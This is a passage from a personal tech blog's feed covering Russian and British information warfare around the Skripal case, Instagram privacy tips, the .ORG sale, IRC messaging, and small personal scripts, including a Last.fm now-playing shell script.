732<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
733Down’s findings. Note that Russia is a part of OPCW, and are fully
734aware of the quality control measures in place. Surely they knew
735about the reason for BZ’s use?</li>
736</ol>
737
738<p>Regardless, the Russian version of the story spread fast. They cashed in
739on two major factors to plant this disinfo:</p>
740
741<ol>
742<li>“NATO bad” : Overused, but surprisingly works. People love a story
743that goes full 180°.</li>
744<li>Spiez can’t defend itself: At the risk of revealing that it was one
745of the facilities testing the toxin, Spiez was only able to “not
746comment”.</li>
747</ol>
748
749<h3 id="april-3-2018">April 3, 2018</h3>
750
751<ul>
752<li>The Independent publishes a story based on an interview with the chief
753executive of Porton Down, Gary Aitkenhead.</li>
754<li>Aitkenhead says they’ve identified Novichok but “have not identified
755the precise source”.</li>
756<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
757Porton Down confirmed the origin of the toxin to be Russia.</li>
758<li>This discrepancy was immediately promoted by Moscow, and its network
759all over.</li>
760</ul>
761
762<p>This one is especially interesting because of how <em>simple</em> it is to
763exploit a small contradiction, that could’ve been an honest mistake.
764This episode is also interesting because the British actually attempted
765damage control this time. Porton Down tried to clarify Aitkenhead’s
766statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>
767
768<blockquote>
769 <p>Our experts have precisely identified the nerve agent as a Novichok.
770 It is not, and has never been, our responsibility to confirm the source
771 of the agent @skynews @UKmoments</p>
772</blockquote>
773
774<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a>
775article on the matter:</p>
776
777<blockquote>
778 <p>The episode is seen by those inside Britain’s security communications team
779 as the most serious misstep of the crisis, which for a period caused real
780 concern. U.K. officials told me that, in hindsight, Aikenhead could never
781 have blamed Russia directly, because that was not his job—all he was
782 qualified to do was identify the chemical. Johnson, in going too far,
783 was more damaging. Two years on, he is now prime minister.</p>
784</blockquote>
785
786<h3 id="may-2018">May 2018</h3>
787
788<ul>
789<li>OPCW facilities receive an email from Spiez inviting them to
790a conference.</li>
791<li>The conference itself is real, and has been organized before.</li>
792<li>The email however, was not—attached was a Word document containing
793malware.</li>
794<li>Also seen were inconsistencies in the email formatting, from what was
795normal.</li>
796</ul>
797
798<p>This spearphishing campaign was never offically attributed to Moscow,
799but there are a lot of tells here that point to it being the work of
800a state actor:</p>
801
802<ol>
803<li>Attack targetting a specific group of individuals.</li>
804<li>Relatively high level of sophistication—email formatting,
805malicious Word doc, etc.</li>
806</ol>
807
808<p>However, the British NCSC have deemed with “high confidence” that the
809attack was perpetrated by GRU. In the UK intelligence parlance, “highly
810likely” / “high confidence” usually means “definitely”.</p>
811
812<h2 id="britains-defense">Britain’s defense</h2>
813
814<h3 id="september-5-2018">September 5, 2018</h3>
815
816<p>The UK took a lot of hits in 2018, but they eventually came back:</p>
817
818<ul>
819<li>Metropolitan Police has a meeting with the press, releasing their
820findings.</li>
821<li>CCTV footage showing the two Russian hitmen was released.</li>
822<li>Traces of Novichok identified in their hotel room.</li>
823</ul>
824
825<p>This sudden news explosion from Britan’s side completely
826bulldozed the information space pertaining to the entire event.
827According to Defense One:</p>
828
829<blockquote>
830 <p>Only two of the 10 most viral stories in the weeks following the announcement
831 were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
832 it felt as though the U.K. was the aggressor. “This was all kept secret to
833 put the Russians on the hop,” one told me. “Their response was all over the
834 place from this point. It was the turning point.”</p>
835</blockquote>
836
837<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
838were there to execute a cyber operation against the OPCW (located in The
839Hague), via their WiFi networks. They were arrested by Dutch security,
840and later identifed as belonging to Unit 26165. They also seized a bunch
841of equipment from the room and their car.</p>
842
843<blockquote>
844 <p>The abandoned equipment revealed that the GRU unit involved had sent
845 officers around the world to conduct similar cyberattacks. They had
846 been in Malaysia trying to steal information about the investigation
847 into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
848 Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
849 place as Russia faced sanctions from the International Olympic Committee.
850 Britain has said that the same GRU unit attempted to compromise Foreign
851 Office and Porton Down computer systems after the Skripal poisoning.</p>
852</blockquote>
853
854<h3 id="october-4-2018">October 4, 2018</h3>
855
856<p>UK made the arrests public, published a list of infractions commited by
857Russia, along with the specific GRU unit that was caught.</p>
858
859<p>During this period, just one of the top 25 viral stories was from
860a pro-Russian outlet, RT—that too a fairly straightforward piece.</p>
861
862<h2 id="wrapping-up">Wrapping up</h2>
863
864<p>As with conventional warfare, it’s hard to determine who won. Britain
865may have had the last blow, but Moscow—yet again—depicted their
866finesse in information warfare. Their ability to seize unexpected
867openings, gather intel to facilitate their disinformation campaigns, and
868their cyber capabilities makes them a formidable threat. </p>
869
870<p>2020 will be fun, to say the least.</p>
871
872<div class="footnotes">
873<hr />
874<ol>
875<li id="fn-skripal">
876<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
877</li>
878
879<li id="fn-dstltweet">
880<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a> <a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
881</li>
882</ol>
883</div>
884]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
885compelled to write this post. Using a social platform like Instagram
886automatically implies that the user understands (to some level) that
887their personally identifiable information is exposed publicly, and they
888sign up for the service understanding this risk—or I think they do,
889anyway. But that’s about it, they go ham after that. Sharing every nitty
890gritty detail of their private lives without understanding the potential
891risks of doing so.</p>
892
893<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
894Instgrammers are <em>obviously</em> incapable of doing that—so I’ll do it
895for them. </p>
896
897<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
898
899<p>I stress on the word “average”, as in this doesn’t apply to those with
900more than a couple thousand followers. Those type of accounts inherently
901face different kinds of threats—those that come with having
902a celebrity status, and are not in scope of this analysis.</p>
903
904<ul>
905<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
906since our target demographic is simply not important enough. That said,
907there are select groups of individuals that operate on
908Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
909actor.</p></li>
910<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
911of the amount of visual information shared on the platform. A lot can be
912gleaned from one simple picture in a nondescript alleyway. We’ll get
913into this in the DOs and DON’Ts in a bit.</p></li>
914<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
915illegal, because well, it’s logged and more importantly—not
916end-to-end encrypted. Law enforcement can subpoena any and all account
917information. Quoting Instagram’s
918<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
919</ul>
920
921<blockquote>
922 <p>a search warrant issued under the procedures described in the Federal
923 Rules of Criminal Procedure or equivalent state warrant procedures
924 upon a showing of probable cause is required to compel the disclosure
925 of the stored contents of any account, which may include messages,
926 photos, comments, and location information.</p>
927</blockquote>
928
929<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
930while posting on Instagram.</p>
931
932<h3 id="donts">DON’Ts</h3>
933
934<ul>
935<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
936explained why this is a terrible idea above. Use secure comms—even
937WhatsApp is a better choice, if you have nothing else. In fact, try
938avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
939<li><p>Film live videos outside. Or try not to, if you can. You might
940unknowingly include information about your location: street signs,
941shops etc. These can be used to ascertain your current location.</p></li>
942<li><p>Film live videos in places you visit often. This compromises your
943security at places you’re bound to be at.</p></li>
944<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
945Summer/winter break? “Look guys, I’m going home! Here’s where I live,
946and here’s my flight number—feel free to track me!”. This scenario is
947especially worrisome because the start and end points are known to the
948threat actor, and your arrival time can be trivially looked up—thanks
949to the flight number on your ticket. So, just don’t.</p></li>
950<li><p>Post screenshots with OS specific details. This might border on
951pendantic, but better safe than sorry. Your phone’s statusbar and navbar
952are better cropped out of pictures. They reveal the time, notifications
953(apps that you use), and can be used to identify your phone’s operating
954system. Besides, the status/nav bar isn’t very useful to your screenshot
955anyway.</p></li>
956<li><p>Share your voice. In general, reduce your footprint on the platform
957that can be used to identify you elsewhere.</p></li>
958<li><p>Think you’re safe if your account is set to private. It doesn’t take
959much to get someone who follows you, to show show your profile on their
960device.</p></li>
961</ul>
962
963<h3 id="dos">DOs</h3>
964
965<ul>
966<li><p>Post pictures that pertain to a specific location, once you’ve moved
967out of the location. Also applies to stories. It can wait.</p></li>
968<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
969Who woulda thunk I’d advocate bathroom selfies?</p></li>
970<li><p>Delete old posts that are irrelevant to your current audience. Your
971friends at work don’t need to know about where you went to high school.</p></li>
972</ul>
973
974<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
975that are good OPSEC practices in general:</p>
976
977<ul>
978<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
979<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
980online, from what you do IRL. Limit information exposure.</li>
981<li><strong>Assess your risks</strong>: Do this often. People change, your environments
982change, and consequentially the risks do too.</li>
983</ul>
984
985<h2 id="fin">Fin</h2>
986
987<p>Instagram is—much to my dismay—far too popular for it to die any
988time soon. There are plenty of good reasons to stop using the platform
989altogether (hint: Facebook), but that’s a discussion for another day.</p>
990
991<p>Or be like me:</p>
992
993<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
994
995<p>And that pretty much wraps it up, with a neat little bow.</p>
996
997<div class="footnotes">
998<hr />
999<ol>
1000<li id="fn-ddepisode">
1001<p><a href="https://darknetdiaries.com/episode/51/—Jack">https://darknetdiaries.com/episode/51/—Jack</a> talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1002</li>
1003</ol>
1004</div>
1005]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
1006<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
10072003. The .ORG TLD is used primarily by communities, free and open source projects,
1008and other non-profit organizations—although the use of the TLD isn’t
1009restricted to non-profits.</p>
1010
1011<p>The Internet Society or ISOC, the group that created the PIR, has
1012decided to sell the registry over to a private equity firm—Ethos
1013Capital.</p>
1014
1015<h2 id="whats-the-problem">What’s the problem?</h2>
1016
1017<p>There are around 10 million .ORG TLDs registered, and a good portion of
1018them are non-profits and non-governmental organizations. As the name
1019suggests, they don’t earn any profits and all their operations rely on
1020a thin inflow of donations. A private firm having control of the .ORG
1021domain gives them the power to make decisions that would be unfavourable
1022to the .ORG community:</p>
1023
1024<ul>
1025<li><p>They control the registration/renewal fees of the TLD. They can
1026hike the price if they wish to. As is stands, NGOs already earn very
1027little—a .ORG price hike would put them in a very icky situation.</p></li>
1028<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
1029Mechanisms</a>
1030or RPMs, which are essentially legal statements that can—if not
1031correctly developed—jeopardize / censor completely legal non-profit
1032activities.</p></li>
1033<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
1034news that nation states go after NGOs, targetting them with allegations
1035of illegal activity. The registry being a private firm only simplifies
1036the process.</p></li>
1037</ul>
1038
1039<p>Sure, these are just “what ifs” and speculations, but the risk is real.
1040Such power can be abused and this would be severly detrimental to NGOs
1041globally.</p>
1042
1043<h2 id="how-can-i-help">How can I help?</h2>
1044
1045<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
1046<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
1047behalf to:</p>
1048
1049<ul>
1050<li>Andrew Sullivan, CEO, ISOC</li>
1051<li>Jon Nevett, CEO, PIR</li>
1052<li>Maarten Botterman, Board Chair, ICANN</li>
1053<li>Göran Marby, CEO, ICANN</li>
1054</ul>
1055
1056<h2 id="closing-thoughts">Closing thoughts</h2>
1057
1058<p>The Internet that we all love and care for is slowly being subsumed by
1059megacorps and private firms, who’s only motive is to make a profit. The
1060Internet was meant to be free, and we’d better act now if we want that
1061freedom. The future looks bleak—I hope we aren’t too late.</p>
1062]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
1063exams. I get all these cool ideas for things to do, and it’s always
1064during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
1065
1066<h2 id="blog-post-queue">Blog post queue</h2>
1067
1068<p>I realized that I could use this site’s
1069<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
1070I’ve made a few, mostly just porting them over from my Google Keep note.</p>
1071
1072<p>This method of using issues is great, because readers can chime in with
1073ideas for things I could possibly discuss—like in <a href="https://github.com/icyphox/site/issues/10">this
1074issue</a>.</p>
1075
1076<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
1077
1078<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
1079– is awfully slow. Also, Python is bloat.
1080Will rewriting it fix that? That’s what I plan to find out. I have
1081a couple of choices of languages to use in the rewrite:</p>
1082
1083<ul>
1084<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
1085<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
1086<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
1087(<code>shite</code>?)</li>
1088</ul>
1089
1090<p>Oh, and did I mention—I want it to be compatible with <code>vite</code>.
1091I don’t want to have to redo my site structure or its templates. At the
1092moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
1093
1094<h2 id="irc-bot">IRC bot</h2>
1095
1096<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
1097traction, which was pretty cool. I didn’t really talk much about the bot
1098itself though; I’m dedicating this section to
1099<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1100
1101<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
1102basic features in place:</p>
1103
1104<ul>
1105<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
1106track</li>
1107<li>Fetches the URL title, when a URL is sent in chat</li>
1108</ul>
1109
1110<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
1111command, since we share Spotify links pretty often.</p>
1112
1113<h2 id="other">Other</h2>
1114
1115<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
1116log</a> when I, well… get around to it. Haven’t had time to do
1117much in the past few weeks—the time at the end of a semester tends to
1118get pretty tight. Here’s what I plan to get back to during this winter break:</p>
1119
1120<ul>
1121<li>Russian!</li>
1122<li>Window manager in Nim</li>
1123<li><code>vite</code> rewrite, probably</li>
1124<li>The other blog posts in queue</li>
1125</ul>
1126
1127<p>I’ve also put off doing any “security work” for a while now, perhaps
1128that’ll change this December. Or whenever.</p>
1129
1130<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
1131
1132<div class="footnotes">
1133<hr />
1134<ol>
1135<li id="fn-1">
1136<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1137</li>
1138</ol>
1139</div>
1140]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
1141daily communications, as opposed to non-free alternatives like WhatsApp
1142or Telegram. This is an account of how that went.</p>
1143
1144<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
1145
1146<p>I’ve tried a <em>ton</em> of messaging applications—Signal, WhatsApp,
1147Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
1148
1149<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
1150centralized architecture, and OWS’s refusal to federate.</p>
1151
1152<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
1153thought. The sole reason I have it installed is for University’s
1154class groups; I can’t wait to graduate.</p>
1155
1156<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
1157got a very nice Android client, though.</p>
1158
1159<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
1160on this because I don’t recall what my experience was like, but I’m not
1161using it now… so if that’s indicative of anything.</p>
1162
1163<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
1164Overall, pretty great, but it’s slow. I’ve had messages not send / not
1165received a lot of times. Matrix + Riot excels in group communication, but
1166really sucks for one-to-one chats.</p>
1167
1168<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
1169
1170<p><strong>DeltaChat</strong>: Pretty interesting idea—on paper. Using existing email
1171infrastructure for IM sounds great, but it isn’t all that cash in
1172practice. Email isn’t instant, there’s always a delay of give or take
11735 to 10 seconds, if not more. This affects the flow of conversation.
1174I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
1175
1176<h2 id="why-irc">Why IRC?</h2>
1177
1178<p>It’s free, in all senses of the word. A lot of others have done a great
1179job of answering this question in further detail, this is by far my
1180favourite:</p>
1181
1182<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
1183
1184<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
1185
1186<p>This was the next obvious choice, but personal message buffers don’t
1187persist in ZNC and it’s very annoying to have to do a <code>/query
1188nerdypepper</code> (Weechat) or to search and message a user via Revolution
1189IRC. The only unexplored option—using a channel.</p>
1190
1191<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
1192
1193<p>A fairly easy process:</p>
1194
1195<ul>
1196<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
1197
1198<pre><code>#crimson [+ilnpstz 3]
1199</code></pre>
1200
1201<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
1202hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
1203modes.</p></li>
1204<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
1205to send a notification for all messages in the specified buffer
1206(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
1207hand, has an option to setup rules for notifications—super
1208convenient.</p></li>
1209<li><p>A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding
1210to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
1211took me about an hour or two to get most of the basic functionality in
1212place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
1213It is by no means “good code”; it breaks spectacularly from time to
1214time.</p></li>
1215</ul>
1216
1217<h2 id="in-conclusion">In conclusion</h2>
1218
1219<p>As the subtitle suggests, using IRC has been great. It’s probably not
1220for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
1221
1222<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
1223
1224<div class="footnotes">
1225<hr />
1226<ol>
1227<li id="fn-modes">
1228<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1229</li>
1230
1231<li id="fn-deltachat">
1232<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1233</li>
1234</ol>
1235</div>
1236]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
1237episode a couple of days ago, and it highlighted some interesting issues that
1238intelligence organizations face when working with law enforcement. Side note: it’s a pretty
1239good show if you like police procedurals.</p>
1240
1241<h2 id="the-problem">The problem</h2>
1242
1243<p>Consider the following scenario:</p>
1244
1245<ul>
1246<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
1247<li>Local PD busts his operation and proceed to arrest him.</li>
1248<li>3-letter org steps in, wants him released.</li>
1249</ul>
1250
1251<p>So here’s the thing, his presence is a threat to public but at the same time,
1252he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even
1253actionable intel on bigger fish who exist on top of the ladder. But he also
1254seeks security. The 3-letter org must provide him with protection,
1255in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
1256
1257<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
1258Who matters more, the people they’ve sworn to protect, or the asset?
1259Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
1260
1261<p>Thus, the question arises—how can we measure the “usefulness” of an
1262asset to better quantify the tradeoff that is to be made?
1263Is the intel gained worth the loss of public safety?
1264This question remains largely unanswered, and is quite the
1265predicament should you find yourself in it.</p>
1266
1267<p>This was a fairly short post, but an interesting problem to ponder
1268nonetheless.</p>
1269]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
1270to learn to code. Don’t get me wrong—it probably works for some.
1271Everyone learns differently. But that’s only going to get you so far.
1272Great you know the syntax, you can solve some competitive programming
1273problems, but that’s not quite enough, is it? The actual learning comes
1274from <em>applying</em> it in solving <em>actual</em> problems—not made up ones.
1275(<em>inb4 some seething CP bro comes at me</em>)</p>
1276
1277<p>Now, what’s an actual problem? Some might define it as real world
1278problems that people out there face, and solving it probably requires
1279building a product. This is what you see in hackathons, generally.</p>
1280
1281<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
1282face. This could be anything. Heck, it might not even be a “problem”. It
1283could just be an itch that you want to scratch. And this is where
1284<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
1285examples.</p>
1286
1287<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
1288
1289<p>If you weren’t aware already—I rice my desktop. A lot. And a part of
1290this cohesive experience I try to create involves a status bar up at the
1291top of my screen, showing the time, date, volume and battery statuses etc.</p>
1292
1293<p>So here’s the “problem”. I wanted to have my currently playing song
1294(Spotify), show up on my bar. How did I approach this? A few ideas
1295popped up in my head:</p>
1296
1297<ul>
1298<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
1299<li>Write a Python script to query Spotify’s API</li>
1300<li>Write a Python/shell script to query Last.fm’s API</li>
1301</ul>
1302
1303<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
1304Spotify client and whined about some <code>dbus</code> issues to top it off.
1305I spent a while in that rabbit hole but eventually gave up.</p>
1306
1307<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
1308I realize that I’ll have to make <em>more</em> than one request to fetch the
1309artist and track details. Nope, I need this to work fast.</p>
1310
1311<p>Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably
1312the best choice, since it shows the track status regardless of where
1313the music is being played. Here’s the script in its entirety:</p>
1314
1315<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
1316<span class="c1"># now playing</span>
1317<span class="c1"># requires the last.fm API key</span>
1318
1319<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
1320<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
1321<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
1322
1323<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
1324<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
1325<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
1326<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
1327<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
1328<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
1329
1330
1331<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
1332<span class="k">then</span>
1333 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
1334 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
1335 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
1336<span class="k">else</span>
1337 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
1338<span class="k">fi</span>
1339</code></pre></div>
1340
1341<p>The <code>source</code> command is used to fetch the API key which I store at
1342<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
1343for coloring output on my bar. The rest is fairly trivial and just
1344involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
1345That’s it! It’s so small, but I learnt a ton. For those curious, here’s
1346what it looks like running:</p>
1347
1348<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
1349
1350<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
1351
1352<p>This pertains to this very blog that you’re reading. I wanted a quick
1353way to update the “latest post” section in the home page and the
1354<a href="/blog">blog</a> listing, with a link to the latest post. This would require
1355editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
1356of both pages.</p>
1357
1358<p>This was a very
1359interesting challenge to me, primarily because it requires in-place
1360editing of the file, not just appending. Sure, I could’ve come up with
1361some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
1362regexes. Did a lot of research (read: Googling) on in-place editing of
1363files in Python, sorting lists of files by modification time etc. and
1364this is what I ended up on, ultimately:</p>
1365
1366<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
1367
1368<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
1369<span class="kn">import</span> <span class="nn">os</span>
1370<span class="kn">import</span> <span class="nn">fileinput</span>
1371<span class="kn">import</span> <span class="nn">sys</span>
1372
1373<span class="c1"># change our cwd</span>
1374<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
1375
1376<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
1377
1378<span class="c1"># get the most recently created file</span>
1379<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
1380 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
